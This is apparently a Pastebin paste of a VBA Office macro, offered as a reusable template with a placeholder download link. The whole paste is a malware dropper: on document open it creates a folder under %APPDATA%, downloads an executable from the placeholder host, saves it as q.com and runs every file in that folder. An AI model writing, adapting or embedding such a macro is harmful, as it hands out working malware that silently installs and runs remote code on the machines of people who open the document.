Guest User

Untitled

a guest
Mar 11th, 2014
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. Sub Auto_Open()
  2. h
  3. End Sub
  4.  
  5. Sub h()
  6.  
  7. Set oShell = CreateObject("WScript.Shell")
  8. strH = oShell.ExpandEnvironmentStrings("%APPDATA%")
  9. Dim sDir: sDir = strH & "\q"
  10.  
  11.  
  12. Set fso = CreateObject("Scripting.FileSystemObject")
  13. If (fso.FolderExists(sDir)) Then
  14.  
  15.  
  16. Else
  17. Set oFSO = CreateObject("Scripting.FileSystemObject")
  18. oFSO.CreateFolder sDir
  19.  
  20.  
  21. End If
  22.  
  23. Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  24. Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  25. xHttp.Open "GET", "http://YOURDOWNLOAD.LINK/file.exe", False
  26. xHttp.Send
  27.  
  28. With bStrm
  29. .Type = 1
  30. .Open
  31. .write xHttp.responseBody
  32. .savetofile strH & "\q\q.com", 2
  33. End With
  34.  
  35.  
  36. Call m(sDir)
  37.  
  38. End Sub
  39.  
  40. Sub AutoOpen()
  41. Auto_Open
  42. End Sub
  43. Sub Workbook_Open()
  44. Auto_Open
  45. End Sub
  46.  
  47.  
  48.  
  49. Function m(str11)
  50. Dim fso, f, fc, f1, strF, intFiles
  51. Dim WshShell
  52.  
  53. Set WshShell = CreateObject("WScript.Shell")
  54.  
  55. strF = ""
  56.  
  57. Set fso = CreateObject("Scripting.FileSystemObject")
  58. If (fso.FolderExists(str11)) Then
  59. Set f = fso.GetFolder(str11)
  60. Set fc = f.Files
  61.  
  62.  
  63. For Each f1 In fc
  64. Dim fR
  65. fR = str11 & "\" & f1.Name
  66. WshShell.Run Chr(34) & fR & Chr(34), 1, True
  67. Next
  68.  
  69. Set f1 = Nothing
  70. Set fc = Nothing
  71. Set f = Nothing
  72.  
  73.  
  74. End If
  75. Set fso = Nothing
  76. End Function
Add Comment
Please, Sign In to add comment